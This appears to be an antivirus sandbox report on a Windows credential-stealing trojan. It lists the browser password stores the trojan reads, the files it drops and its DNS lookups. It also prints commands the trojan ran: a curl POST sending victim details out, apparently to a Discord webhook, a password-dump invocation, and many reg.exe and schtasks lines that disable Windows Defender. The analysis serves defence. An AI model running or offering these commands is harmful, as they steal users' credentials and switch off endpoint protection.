Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\finalres.bat
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\ip_address.txt
- %TEMP%\str
- %TEMP%\owo
- %TEMP%\wbh
- nul
- %TEMP%\windowsinfo.txt
- %TEMP%\dav.bat
- %TEMP%\filed.exe
- %TEMP%\curl.exe
- %TEMP%\curl-ca-bundle.crt
- %TEMP%\extractionsmh.exe
- %TEMP%\finalres2.vbs
- %TEMP%\finalres.vbs
- %TEMP%\newtonsoft.json.dll
- %TEMP%\system.drawing.common.dll
- %TEMP%\leaf.xnet.dll
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\user_passwords.txt
Deletes the following files
- %TEMP%\finalres2.vbs
- %TEMP%\finalres.vbs
- %TEMP%\ip_address.txt
- %TEMP%\windowsinfo.txt
- %TEMP%\curl-ca-bundle.crt
- %TEMP%\curl.exe
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK microsoft.com
- DNS ASK gi##ub.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK my####rnalip.com
- DNS ASK di##ord.com
- DNS ASK it####lvehacker.cf
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\finalres.vbs"
- '%TEMP%\curl.exe' "https://myexternalip.com/raw"
- '%TEMP%\extractionsmh.exe' /stext "%LOCALAPPDATA%\Temp/user_Passwords.txt"
- '%TEMP%\curl.exe' -X POST -H "Content-type: application/json" --data "{\"content\": \"**user**\n```asciidoc\nTime and Date :: Tue 01/19/2021 12:08:57.81\nIP Address :: 95.211.190.199\nWindows Info :: Product Nam...
- '%TEMP%\filed.exe' --processStart filed.exe
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\Temp.\finalres.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\dav.bat" "
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\attrib.exe' -h %TEMP%\ip_address.txt
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\net.exe' FILE
- '<SYSTEM32>\net1.exe' FILE
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\Temp.\finalres2.vbs"
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\Temp.\finalres.bat" "
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\attrib.exe' -h "%TEMP%\WindowsInfo.txt"
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\attrib.exe' -h "%TEMP%\wbh"
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\attrib.exe' -h "%TEMP%\owo"
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
